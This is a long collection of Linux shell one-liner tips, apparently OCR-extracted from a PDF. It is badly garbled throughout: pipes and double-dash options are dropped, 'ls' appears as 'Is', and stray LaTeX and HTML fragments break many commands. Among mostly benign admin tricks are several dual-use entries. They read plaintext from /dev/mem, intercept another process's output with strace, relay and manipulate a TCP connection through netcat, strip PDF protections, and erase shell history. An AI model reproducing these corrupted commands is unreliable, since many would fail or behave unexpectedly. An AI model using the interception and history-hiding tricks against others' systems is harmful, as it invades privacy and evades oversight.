

# **BASICS TIPS COMMANDS**

# **One-liners**

Run the last command as root
\$ sudo !!
Serve current directory tree at http://\$HOSTNAME:8000/
\$ python -m SimpleHTTPServer
Runs previous command but replacing
\$ ^foo^bar
Rapidly invoke an editor to write a long, complex, or tricky command
\$ ctrl-x e
Place the argument of the most recent command on the shell
\$ 'ALT+.' or ' <esc> .'</esc>
currently mounted filesystems in nice layout
\$ mount   column -t
Salvage a borked terminal
\$ reset
Get your external IP address
\$ curl ifconfig.me
Execute a command at a given time
\$ echo "Is -I"   at midnight

Quick access to the ascii table.
\$ man ascii
output your microphone to a remote computer's speaker \$ dd if=/dev/dsp   ssh -c arcfour -C username@host dd of=/dev/dsp
type partial command, kill this command, check something you forgot, yank the command, resume typing. $\color=0.00000000000000000000000000000000000$
Query Wikipedia via console over DNS
\$ dig +short txt <keyword>.wp.dg.cx</keyword>
Mount folder/filesystem through SSH
\$ sshfs name@server:/path/to/folder /path/to/mount/point
Mount a temporary ram partition
\$ mount -t tmpfs tmpfs /mnt -o size=1024m
Download an entire website
\$ wgetrandom-wait -r -p -e robots=off -U mozilla http://www.example.com
Clear the terminal screen
\$ ctrl-l
Compare a remote file with a local file
\$ ssh user@host cat /path/to/remotefile   diff /path/to/localfile -
SSH connection through host in the middle
\$ ssh -t reachable_host ssh unreachable_host
Update twitter via curl
\$ curl -u user:pass - d status="Tweeting from the shell" http://twitter.com/statuses/update.xml

A very simple and useful stopwatch
\$ time read (ctrl-d to stop)
Put a console clock in top right corner
\$ while sleep 1;do tput sc; tput cup 0 \$((\$( tput cols)-29));date; tput rc;done &
Make 'less' behave like 'tail -f'.
\$ less +F somelogfile
Close shell keeping all subprocess running
\$ disown -a && exit
Watch Star Wars via telnet
\$ telnet towel.blinkenlights.nl
32 bits or 64 bits?
\$ getconf LONG_BIT
List of commands you use most often
\$ history   awk '{a[\$2]++}END{for(i in a){print a[i] " " i}}'   sort -rn   head
Simulate typing
\$ echo "You can simulate on-screen typing just like in the movies"   pv -qL 10
Set audible alarm when an IP address comes online
\$ ping -i 60 -a IP_address
Reboot machine when everything is hanging
\$ <alt> + <print rq="" screen="" sys=""> + <r> - <s> - <e> - <i> - <u> - <b></b></u></i></e></s></r></print></alt>
quickly rename a file
\$ mv filename.{old,new}

Display the top ten running processes - sorted by memory usage \$ ps aux   sort -nk +4   tail
Delete all files in a folder that don't match a certain file extension \$ rm !(*.foo *.bar *.baz)
Push your present working directory to a stack that you can pop later \$ pushd /tmp
Create a script of the last executed command \$ echo "!!" > foo.sh
Watch Network Service Activity in Real-time  \$ Isof -i
Easy and fast access to often executed commands that are very long and complex.
\$ some_very_long_and_complex_command # label
escape any command aliases \$ \[command] \[ \tag{\tag{\tag{\tag{\tag{\tag{\tag{
Show apps that use internet connection at the moment. (Multi-Language)
\$ Isof -P -i -n
diff two unsorted files without creating temporary files \$ diff <(sort file1) <(sort file2)
Reuse all parameter of the previous command line
Backticks are evil
\$ echo "The date is: \$( date +%D)"

Sharing file through http 80 port  \$ nc -v -l 80 < file.ext
Show File System Hierarchy \$ man hier
Display a block of text with AWK \$ awk '/start_pattern/,/stop_pattern/' file.txt
Set CDPATH to ease navigation  \$ CDPATH=::~:~/projects
save command output to image \$ ifconfig   convert label:@- ip.png
Add Password Protection to a file your editing in vim. \$ vim -x <filename></filename>
Remove duplicate entries in a file without sorting.  \$ awk '!x[\$0]++' <file></file>
Copy your SSH public key on a remote machine for passwordless login - the easy way
\$ ssh-copy-id username@hostname
Find Duplicate Files (based on size first, then MD5 hash)
\$ find -not -empty -type f -printf "%s "   sort -rn   uniq -d   xargs -I{} -n1 find -type f -size {}c -print0   xargs -0 md5sum   sort   uniq -w32all-repeated=separate
Kills a process that is locking a file.
\$ fuser -k filename
Insert the last command without the last argument (bash)
\$ !:- <b>[</b>

python smtp server	
\$ python -m smtpd -n -c DebuggingServer localhost:1025	
Display which distro is installed	
\$ cat /etc/issue	
Find the process you are looking for minus the grepped or	ne
\$ ps aux   grep [p]rocess-name	
Extract tarball from internet without local saving	
\$ wget -qO - "http://www. tarball.com/ tarball.gz"   tar zxvf -	
Copy your ssh public key to a server from a machine that ssh-copy-id	doesn't have
\$ cat ~/. ssh/id_rsa.pub   ssh user@machine "mkdir ~/. ssh; cat >> ~/. ssh/authorized_keys"	
Matrix Style	
\$ tr -c "[:digit:]" " " < /dev/urandom   dd cbs=\$COLUMNS conv=unblock   GREP_COLOR="1;32" grepcolor "[^ ]"	
replace spaces in filenames with underscores	
\$ rename 'y/ /_/' *	
Rip audio from a video file.	
\$ mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file></input-file></output-file>	
Google Translate	
\$ translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate? v=1.0&q=\$1&langpair=\$2 \${3:-en}"   sed 's/.*"translatedText":"\([^"]*\)".*}/\1/"; }	
Inserts the results of an autocompletion in the command I	ine
\$ ESC * <b></b>	

Rapidly invoke an editor to write a long, complex, or tricky command
\$ fc
A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
\$ sudo dd if=/dev/mem   cat   strings
Graphical tree of sub-directories
\$ Is -R   grep ":\$"   sed -e 's/:\$//' -e 's/[^-][^\/]*\///g' -e 's/^/ /' -e 's/-/ /'
intercept stdout/stderr of another process
\$ strace -ff -e trace=write -e write=1,2 -p SOME_PID
Copy a file using pv and watch its progress
\$ pv sourcefile > destfile
Define a quick calculator function
\$ ? () { echo "\$*"   bc -l; }
Create a CD/DVD ISO image from disk.
\$ readom dev=/dev/scd0 f=/path/to/image.iso
mkdir & cd into it as single command
\$ mkdir /home/foo/doc/bar && cd \$_
Create a pdf version of a manpage
\$ man -t manpage   ps2pdf - filename.pdf
Stream YouTube URL directly to mplayer.
\$ i="8uyxVmdaJ-w";mplayer -fs \$(curl - s "http://www.youtube.com/get_video_info?&video_id=\$i"   echo - e \$(sed 's/%/\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\\1/g')   grep -oP '^[^ ,]*')
Make directory including intermediate directories
\$ mkdir -p a/long/directory/path

Easily search running processes (alias).
\$ alias 'ps?'='ps ax   grep '
Multiple variable assignments from command output in BASH
\$ read day month year <<< \$(date +'%d %m %y')
Remove all but one specific file
\$ rm -f !(survivior.txt)
git remove files which have been deleted
\$ git add -u
Edit a file on a remote host using vim
\$ vim scp://username@host//path/to/somefile
Job Control
\$ ^Z \$bg \$disown
Generate a random password 30 characters long
\$ s trings /dev/urandom   grep -o '[[:alnum:]]'   head -n 30   tr -d ' c cho
Show apps that use internet connection at the moment. (Multi- Language)
\$ ss -p
Graph # of connections for each hosts.
<pre>\$ netstat -an   grep ESTABLISHED   awk '{ print \$5}'   awk -F: '{ print \$1}'   sort   uniq -c   awk '{ printf("%s\t%s\t",\$2,\$1); for (i = 0; i &lt; \$1; i++) { printf("*")}; print "" }'</pre>
Record a screencast and convert it to an mpeg
\$ ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg

Monitor progress of a command
\$ pv access.log   gzip > access.log.gz
Search for a <pattern> string inside all files in the current directory</pattern>
\$ grep -RnisI <pattern> *</pattern>
Monitor the queries being run by MySQL
\$ watch -n 1 mysqladminuser= <user>password=<password> processlist</password></user>
Get the 10 biggest files/folders for the current direcotry
\$ du -s *   sort -n   tail
Show numerical values for each of the 256 colors in bash
\$ for code in {0255}; do echo -e "\e[38;05;\${ code}m \$ code: Test"; done
Recursively remove all empty directories
\$ findtype d -empty -delete
Display a cool clock on your terminal
\$ watch -t -n1 "date +%T figlet"
Convert seconds to human-readable format
\$ date -d@1234567890
Nice weather forecast on your shell
\$ curl wttr.in/seville
Check your unread Gmail from the command line
\$ curl -u username:password silent "https://mail.google.com/mail/feed/atom"   tr -d ' '   awk -F ' <en try="">' '{for (i=2; i&lt;=NF; i++) {print \$i}}'   sed -n "s/<title>\(.*\) &lt;\title.*name&gt;\(.*\)&lt;\/name&gt;.*/\2 - \1/p"&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</title></en>

Search commandlinefu.com from the command line using	the API
\$ cmdfu() { curl "http://www.commandlinefu.com/commands/matching/\$@/\$(echo - n \$@   openssl base64)/plaintext"; }	
Processor / memory bandwidthd? in GB/s	
\$ dd if=/dev/zero of=/dev/null bs=1M count=32768	
pretend to be busy in office to enjoy a cup of coffee	
\$ cat /dev/urandom   hexdump -C   grep "ca fe"	
Makes the permissions of file2 the same as file1	
\$ chmodreference file1 file2	
Remove security limitations from PDF documents using gh	nostscript
\$ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite - sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf	
Send pop-up notifications on Gnome	
\$ notify-send [" <title>"] "&lt;body&gt;"&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;(Debian/Ubuntu) Discover what package a file belongs to&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ dpkg -S /usr/bin/ls&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mount a .iso file in UNIX/Linux&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ mount /path/to/file.iso /mnt/cdrom -oloop&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Remove a line in a text file. Useful to fix&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ ssh-keygen -R &lt;the_offending_host&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;To print a specific line from a file&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ sed -n 5p &lt;file&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Open Finder from the current Terminal location&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;\$ open .&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</title>	

Create a persistent connection to a machine \$ ssh -MNf <user>@<host></host></user>
Run a command only when load average is below a certain threshold \$ echo "rm -rf /unwanted-but-large/folder"   batch
Create a quick back-up copy of a file \$ cp file.txt{,.bak}
Start COMMAND, and kill it if still running after 5 seconds \$ timeout 5s COMMAND
Attach screen over ssh \$ ssh -t remote_host_screen -r
Show a 4-way scrollable process tree with full details.  \$ ps awwfux   less -S
List all bash shortcuts  \$ bind -P
RTFM function  \$ rtfm() { help \$@    man \$@    \$BROWSER "http://www.google.com/search? q=\$@"; }
Eavesdrop on your system \$ diff <( lsof -p 1234) <(sleep 10; lsof -p 1234)
Remove all files previously extracted from a tar(.gz) file. \$ tar -tf <file. tar.gz="">   xargs rm -r</file.>
Broadcast your shell thru ports 5000, 5001, 5002 \$ script -qf   tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)

directly ssh to host B that is only accessible through host A \$ ssh -t hostA \$ ssh hostB	4
which program is this port belongs to ? \$ Isof -i tcp:80	
What is my public IP-address? \$ curl ifconfig.me	
Retry the previous command until it exits successfully \$ until !!; do :; done	
Synchronize date and time with a server over ssh \$ dateset="\$(ssh user@server date)"	
Edit a google doc with vim \$ google docs edittitle "To-Do List" editor vim	
Run a file system check on your next boot.  \$ sudo touch /forcefsck	
List only the directories  \$ Is -d */	
Share a terminal screen with others  \$ % screen -r someuser/	
Google text-to-speech in mp3 format	
\$ wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world	
Download all images from a site	
\$ wget -r -l1no-parent -nH -nd -P/tmp - A".gif,.jpg" http://example.com/images	

Download Youtube video with wget!	
\$ wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO-   sed - n "/fmt_url_map/{s/[\'\"\]]/ /g;p}"   sed -n '/^fmt_url_map/,/videoplayback/p'   sed -e :a - e '\$q;N;5,\$D;ba'   tr -d '	
'  sed -e 's/\(.*\),\(.\)\{1,3\}/\1/'   wget -iO surprise.flv	
Python version 3: Serve current directory tree at http://\$HOSTNAME:8000/	
\$ python -m http.server	
Get your outgoing IP address	
\$ dig +short myip.opendns.com @resolver1.opendns.com	
Binary Clock	
\$ watch -n 1 'echo "obase=2; `date +%s`"   bc'	
Sort the size usage of a directory tree by gigabytes, kilobytes, then bytes.	tes,
\$ du -bmax-depth 1   sort -nr   perl -pe 's{([0-9]+)} {sprintf "%.1f%s", \$1>=2**30? (\$1/2**30, "G"): \$1>=2**20? (\$1/2**20, "M"): \$1>=2**10? (\$1/2**10, "K"): (\$1, "")}e'	
Duplicate installed packages from one machine to the other based systems)	er (RPM
\$ ssh root@remote.host "rpm -qa"   xargs yum -y install	
Draw kernel module dependancy graph.	
\$ Ismod   perl -e ' print "digraph \" Ismod\" {";<>;while(<>) {@_=split/\s+/; print "\"\$_[0]\" -> \"\$_\" for split/,/,\$_[3]} print "}"   dot -Tpng   display -	
Compare two directory trees.	
\$ diff <(cd dir1 && find   sort) <(cd dir2 && find   sort)	
Bring the word under the cursor on the :ex line in Vim	
\$: <c-r><c-w></c-w></c-r>	

Remind yourself to leave in 15 minutes	
\$ leave +15	
make directory tree	
\$ mkdir -p work/{d1,d2}/{src,bin,bak}	
Convert Youtube videos to MP3	
\$ youtube-dl -textract-audioaudio-format mp3 YOUTUBE_URL_HERE	
Find out how much data is waiting to be written to disk	
\$ grep ^Dirty /proc/meminfo	
Use tee to process a pipe with two or more processes	
\$ echo "tee can split a pipe in two" tee >(rev) >(tr ' ' '_')	
Show apps that use internet connection at the moment.	
\$	
Backup all MySQL Databases to individual files	
\$ for I in \$(mysql -e 'show databases' -sskip-column- names); do mysqldump \$I   gzip > "\$I.sql.gz"; done	
Port Knocking!	
\$ knock <host> 3000 4000 5000 &amp;&amp; ssh - p <port> user@host &amp;&amp; knock <host> 5000 4000 3000</host></port></host>	
Add timestamp to history	
\$ export HISTTIMEFORMAT="%F %T "	
Recursively change permissions on files, leave directories	alone.
\$ find ./ -type f -exec chmod 644 {} \;	
Find files that have been modified on your system in the paminutes	ast 60
\$ sudo find / -mmin 60 -type f	

Quick access to ASCII code of a key \$ showkey -a	
using `!#\$' to referance backward-word	
\$ cp /work/host/phone/ui/main. cpp !#\$:s/host/target	
Search recursively to find a word or phrase in certain file ty as C code	ypes, such
\$ findname "*.[ch]" -exec grep -i -H "search pharse" {} \;	
Intercept, monitor and manipulate a TCP connection.	
\$ mkfifo /tmp/fifo; cat /tmp/fifo   nc -l -p 1234   tee -a to.log   nc machine port   tee -a from.log > /tmp/fifo	
Block known dirty hosts from reaching your machine	
\$ wget -qO - http://infiltrated.net/blacklisted awk '!/# [a-z]/&&/./{print "iptables - A INPUT -s "\$1" -j DROP"}'	
check site ssl certificate dates	
\$ echo   openssl s_client -connect www.google.com:443 2>/dev/null   openssl x509 -dates -noout	
find files in a date range	
\$ findtype f -newermt "2010-01-01" ! -newermt "2010-06-01"	
Control ssh connection	
\$ [enter]~?	
run complex remote shell cmds over ssh, without escaping \$ ssh host -I user \$( <cmd.txt)< th=""><th>g quotes</th></cmd.txt)<>	g quotes
Create a directory and change into it at the same time \$ md () { mkdir -p "\$@" && cd "\$@"; }	

Colorized grep in less
\$ grepcolor=always   less -R
Exclude multiple columns using AWK
\$ awk '{\$1=\$3=""}1' file
Is not pattern
\$ Is !(*.gz)
output your microphone to a remote computer's speaker
\$ arecord -f dat   ssh -C user@host aplay -f dat
analyze traffic remotely over ssh w/ wireshark
\$ ssh root@server.com 'tshark -f "port !22" -w -'   wireshark -k -i -
Given a file path, unplug the USB device on which the file is located (the file must be on an USB device!)
\$ echo \$( sudo Ishw -businfo   grep -B 1 -m 1 \$(df "/path/to/file"   tail -1   awk '{print \$1}'   cut -c 6-8)   head -n 1   awk '{print \$1}'   cut -c 5-   tr ":" "- ")   sudo tee /sys/bus/usb/drivers/usb/unbind
Remove a line in a text file. Useful to fix "ssh host key change" warnings
\$ sed -i 8d ~/.ssh/known_hosts
Save a file you edited in vim without the needed permissions (no echo \$:w!sudo tee > /dev/null %
Remove blank lines from a file using grep and save output to new file \$ grep . filename > newfilename
delete a line from your shell history \$ history -d

Get the IP of the host your coming from when logged in research \$\ \text{echo} \\$\ \SSH_CLIENT\%\%\ \*\ \end{align*}	motely
Random Number Between 1 And X	
\$ echo \$[RANDOM%X+1]	
Lists all listening ports together with the PID of the associant states and the states all listening ports together with the PID of the associant states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states all listening ports together with the PID of the association and the states are states as the states are states are states as the states are states as the states are states as the states are states are states as the states are states as the states are states a	ated process
easily find megabyte eating files or directories \$ alias dush="du -sm * sort -n tail"	
Exclude .svn, .git and other VCS junk for a pristine tarball \$ tarexclude-vcs -cf src. tar src/	
exit without saving history \$ kill -9 \$\$	
How to establish a remote Gnu screen session that you ca to	n re-connect
\$ ssh -t user@some.domain.com /usr/bin/screen -xRR	
Copy a MySQL Database to a new Server via SSH with one	command
\$ mysqldumpadd-drop-tableextended-insertforcelog-error=error.log - uUSER -pPASS OLD_DB_NAME   ssh -C user@newhost "mysql -uUSER - pPASS NEW_DB_NAME"	
Convert PDF to JPG	
\$ for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 - interlace none -density 300 -quality 80 \$ file `echo \$ file   sed 's/\.pdf\$/\.jpg/'`; done	
Find usb device	
\$ diff <(lsusb) <(sleep 3s && lsusb)	

find all file larger than 500M	
\$ find / -type f -size +500M	
notify yourself when a long-running command which has A STARTED is finished \$ <ctrl+z> fg; notify_me</ctrl+z>	ALREADY
Create colorized html file from Vim or Vimdiff	
\$:TOhtml	
live ssh network throughput test	
\$ yes   pv   ssh \$host "cat > /dev/null"	
Create a nifty overview of the hardware in your computer \$ Ishw -html > hardware.html	
Save your sessions in vim to resume later	
\$:mksession! <filename></filename>	
Tell local Debian machine to install packages used by remachine	ote Debian
\$ ssh remotehost ' dpkgget-selections'   dpkgset- selections && dselect install	
Bind a key with a command \$ bind -x "'\C-I": s -I'	
Take screenshot through SSH	
\$ DISPLAY=:0.0 import -window root /tmp/shot.png	
intersection between two files	
\$ grep -Fx -f file1 file2	
GREP a PDF file.	
\$ pdftotext [file] -   grep 'YourPattern'	

Colorful man
\$ apt-get install most && update-alternativesset pager /usr/bin/ most
copy working directory and compress it on-the-fly while showing progress
\$ tar -cf   pv -s \$(du -sb .   awk '{print \$1}')   gzip > out.tgz
prints line numbers
\$ nl
convert unixtime to human-readable
\$ date -d @1234567890
A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
\$ sudo strings /dev/mem
Diff on two variables
\$ diff <(echo "\$a") <(echo "\$b")
Prettify an XML file
\$ tidy -xml -i -m [file]
Encrypted archive with openssl and tar
\$ tarcreatefileposixgzip <dir>   openssl enc -e -aes256 -out <file></file></dir>
Convert seconds into minutes and seconds
\$ bc <<< 'obase=60;299'
Alias HEAD for automatic smart output
\$ alias head='head -n \$((\${LINES:-`tput lines 2>/dev/null  echo -n 12`} - 2))'
Pipe stdout and stderr, etc., to separate commands
\$ some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)

Manually Pause/Unpause Firefox Process with POSIX-Signals
\$ killall -STOP -m firefox
Gets a random Futurama quote from <i>I</i> .
\$ curl -Is slashdot.org   egrep '^X-(F B L)'   cut -d \f 2
Use lynx to run repeating website actions
\$ lynx -accept_all_cookies -cmd_script=/your/keystroke-file
runs a bash script in debugging mode
\$ bash -x ./post_to_commandlinefu.sh
Instead of writing a multiline if/then/else/fi construct you can do that by one line
\$ [[ test_condition ]] && if_true_do_this    otherwise_do_that
Display a list of committers sorted by the frequency of commits
\$ svn log -q grep " " awk "{print \\$3}" sort uniq -c sort -nr
check the status of 'dd' in progress (OS X)
\$ CTRL + T
A child process which survives the parent's death (for sure)
\$ ( command & )
prevent accidents while using wildcards
\$ rm *.txt <tab> <tab></tab></tab>
Opens vi/vim at pattern in file
\$ vi +/pattern [file]
April Fools' Day Prank
\$ PROMPT_COMMAND='if [ \$RANDOM - le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" \$((RAND

Press Any Key to Continue
\$ read -sn 1 -p "Press any key to continue"
Get your external IP address
\$ curl ip.appspot.com
List installed deb packages by size
\$ dpkg-query -Wf '\${Installed-Size}\t\${Package}   '  sort -n
backup all your commandlinefu.com favourites to a plaintext file
\$ clfavs(){ URL="http://www.commandlinefu.com"; wget -Osave-cookies cpost-data "username=\$1&password=\$2&submit=Let+me+in" \$URL/users/signin;fo r i in `seq 0 25 \$3`;do wget -Oload-cookies c \$URL/commands/favourites/plaintext/\$i >>\$4;done;rm -f c;}
send echo to socket network
\$ echo "foo" > /dev/tcp/192.168.1.2/25
Schedule a script or command in $\boldsymbol{x}$ num hours, silently run in the background even if logged out
\$ ( ( sleep 2h; your-command your-args ) & )
Go to parent directory of filename edited in last command \$ cd !\$:h
Draw a Sierpinski triangle
\$ perl -e 'print "P1 256 256 ", map {\$_&(\$_>>8)?1:0} (00xffff)'   display
Run a long job and notify me when it's finished
\$ ./my-really-long-job.sh && notify-send "Job finished"
Make anything more awesome
\$ command   figlet

List all files opened by a particular command  \$ Isof -c dhcpd
Nicely display permissions in octal format with filename \$ stat -c '%A %a %n' *
recursive search and replace old with new string, inside files \$ \$ grep -rl oldstring .  xargs sed -i -e 's/oldstring/newstring/'
shut of the screen.
\$ xset dpms force standby
Create a single-use TCP (or UDP) proxy \$ nc -l -p 2000 -c " nc example.org 3000"
read manpage of a unix command as pdf in preview (Os X) \$ man -t UNIX_COMMAND   open -f -a preview
Switch 2 characters on a command line. \$ ctrl-t
List the number and type of active network connections  \$ netstat -ant   awk '{print \$NF}'   grep -v '[a-z]'   sort   uniq -c
Use file(1) to view device information \$ file -s /dev/sd*
exclude a column with cut \$ cut -f5complement
Recover a deleted file \$ grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt

Insert the last argument of the previous command	
\$ <esc> .</esc>	
View the newest xkcd comic.	
\$ xkcd(){ wget -qO- http://xkcd.com/ tee >(feh \$(grep -Po '(? <=")http://imgs[^/]+/comics/[^"]+\.\w{3}')) grep -Po '(?<=(\w{3})" title=").*(? =" alt)';}	
Create an audio test CD of sine waves from 1 to 99 Hz	
\$ ( echo CD_DA; for f in {0199}; do echo "\$f Hz">&2; sox -nt cdda - r44100 -	
c2 \$f.cdda synth 30 sine \$f; echo TRACK AUDIO; echo FILE \"\$f.cdda\" 0; d one) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc	
Remove color codes (special characters) with sed	
\$ sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m K]//g"	
throttle bandwidth with cstream	
\$ tar -cj /backup   cstream -t 777k   ssh host 'tar -xj -C /backup'	
When feeling down, this command helps	
\$ sl	
Brute force discover	
\$ sudo zcat /var/log/auth.log.*.gz   awk '/Failed password/&&!/ for invalid user/{a[\$9]++}/Failed password for invalid user/{a["*" \$11]++}END{ for (i in a) printf "%6s\t%s", a[i], i "sort -n"}'	
find geographical location of an ip address	
\$ lynx -dump http://www.ip-adress.com/ip_tracer/? QRY=\$1 grep address egrep 'city state country' awk '{print \$3,\$4,\$5,\$6,\$7,\$8} ' sed 's\ip address flag \\' sed 's\My\\'	
Speed up launch of firefox	
\$ find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;	

Create strong, but easy to remember password	
\$ read -s pass; echo \$pass   md5sum   base64   cut -c -16	
format txt as table not joining empty columns	
\$ column -tns: /etc/passwd	
Find Duplicate Files (based on size first, then MD5 hash)	
\$ fdupes -r .	
Shell recorder with replay	
\$ script -t /tmp/mylog.out 2>/tmp/mylog.time; <do work="" your="">; <ctrl- D&gt;; scriptreplay /tmp/mylog.time /tmp/mylog.out</ctrl- </do>	
Bind a key with a command	
\$ bind "'\C-l":"ls -l	
List files with quotes around each filename	
\$ Is -Q	
Makes you look busy	
\$ alias busy='my_file=\$(find /usr/include -type f   sort -R   head -	_
n 1); my_len=\$(wc -l \$my_file   awk " {print \$1}"); let "r = \$RANDOM % \$my_len" 2>/dev/null; vim +\$r \$my_file'	<b>'</b>
Duplicate several drives concurrently	
\$ dd if=/dev/sda   tee >( dd of=/dev/sdb)   dd of=/dev/sdc	
Listen to BBC Radio from the command line.	
$\$ bbcradio() { local s PS3="Select a station: "; select s in 1 1x 2 3 4 5 6 7 " A sian Network an" "Nation s & Local Icl";do break;done; s=(\$ s);mplayer - playli st "http://www.bbc.co.uk/radio/li sten/live/r"\${ s[@]: -1}".a sx";}	
Monitor bandwidth by pid	
\$ nethogs -p eth0	

Execute a command with a timeout	
\$ timeout 10 sleep 11	
use vim to get colorful diff output	
\$ svn diff   view -	
find files containing text	
\$ grep -lir "some text" *	
Quickly graph a list of numbers	
\$ gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")	
Perform a branching conditional	
\$ true && { echo success;}    { echo failed; }	
Resume scp of a big file	
\$ rsyncpartialprogress rsh=ssh \$file_source \$user@\$host:\$destination_file	
Use tee + process substitution to split STDOUT to multiple	commands
\$ some_command   tee >(command1) >(command2) >(command3)   command4	
Analyse an Apache access log for the most common IP add	dresses
\$ tail -10000 access_log   awk '{print \$1}'   sort   uniq -c   sort -n   tail	
Annotate tail -f with timestamps	
\$ tail -f file   while read; do echo "\$(date +%T.%N) \$REPLY"; done	
Fast, built-in pipe-based data sink	
\$ <command/>  :	
Generate an XKCD #936 style 4 word password  \$ shuf -n4 /usr/share/dict/words   tr -d '	

Repoint an existing symlink to a new location	
\$ In -nsf <target> <link/></target>	
GRUB2: set Super Mario as startup tune	
\$ echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\""   sudo tee - a /etc/default/grub > /dev/null && sudo update-grub	
Diff remote webpages using wget	
\$ diff <(wget -q -O - URL1) <(wget -q -O - URL2)	
Close a hanging ssh session	
\$ ~.	
processes per user counter	
\$ ps hax -o user   sort   uniq -c	
convert filenames in current directory to lowercase	
\$ rename 'y/A-Z/a-z/' *	
Find files that were modified by a given command	
\$ touch /tmp/file; \$EXECUTECOMMAND; find /path -newer /tmp/file	
Terminal - Show directories in the PATH, one per line with s bash3.X `here string'	ed and
\$ tr : ' ' <<<\$PATH	
Cut out a piece of film from a file. Choose an arbitrary lengt starting time.	h and
\$ ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 - t 0:0:20 newfile	
List of commands you use most often	
\$ history   awk '{print \$2}'   sort   uniq -c   sort -rn   head	

Efficiently print a line deep in a huge log file	
\$ sed '1000000!d;q' < massive-log-file.log	
prevent large files from being cached in memory (backups	!)
\$ nocache <i o-heavy-command=""></i>	
Check if system is 32bit or 64bit	
\$ getconf LONG_BIT	
dmesg with colored human-readable dates	
\$ dmesg -T sed -e 's \(^.*'`date +%Y`']\)\(.*\) \x1b[0;34m\1\x1b[0m - \2 g'	
convert single digit to double digits	
\$ for i in ?.ogg; do mv \$i 0\$i; done	
Limit the cpu usage of a process	
\$ sudo cpulimit -p pid -l 50	
Rapidly invoke an editor to write a long, complex, or tricky	command
\$ <esc> v or ctrl-x ctrl-e</esc>	
Single use vnc-over-ssh connection	
\$ ssh -f -L 5900:localhost:5900 your. ssh.server "x11vnc -safer -localhost - nopw -once -display :0"; vinagre localhost:5900	
List alive hosts in specific subnet	
\$ nmap -sP 192.168.1.0/24	
\"	
View all date formats, Quick Reference Help Alias	
\$ alias dateh=' datehelp sed - n "/^ *%%/,/^ *%Z/p" while read  ;do F=\${ /% */}; date +%\$F:" """\${F//%n/ }"" "" \${ #* }";done sed "s/\ */ /g"  column -s " " -t"	

your terminal sings	
\$ echo {1199}" bottles of beer on the wall, cold bottle of beer, take one down , pass it around, one less bottle of beer on the wall,, "   espeak -v english - s 140	
Make sure a script is run in a terminal.	
\$[-t0]   exit1	
Matrix Style	
$ \begin{tabular}{ll} \$ \ echo - \\ e "\else x + = "\else x + = "\else x + = " \else x$	
Quickly (soft-)reboot skipping hardware checks	
\$ /sbin/kexec -I /boot/\$KERNELappend="\$KERNELPARAMTERS"initrd=/boot/\$INITRD; sync; /sbin/kexec -e	
pipe output of a command to your clipboard	
\$ some command xselclipboard	
Recursively compare two directories and output their different readable format	rences on a
\$ diff -urp /originaldirectory /modifieddirectory	
Find broken symlinks and delete them	
\$ find -L /path/to/check -type I -delete	
Is -hog> a more compact Is -I	
\$ Is -hog	
git remove files which have been deleted \$ git rm \$( git Is-filesdeleted)	

Silently ensures that a FS is mounted on the given mount point
(checks if it's OK, otherwise unmount, create dir and mount)

\$ ( mountpoint -q "/media/mpdr1" && df /media/mpdr1/* > /dev/null 2>&1)    (( sudo u mount "/media/mpdr1" > /dev/null 2>&1    true) && ( sudo mkdir "/media/mpdr1" > /dev/null 2>&1    true) && sudo mount "/dev/sdd1" "/media/mpdr1")	

# sniff network traffic on a given interface and displays the IP addresses of the machines communicating with the current host (one IP per line)

```
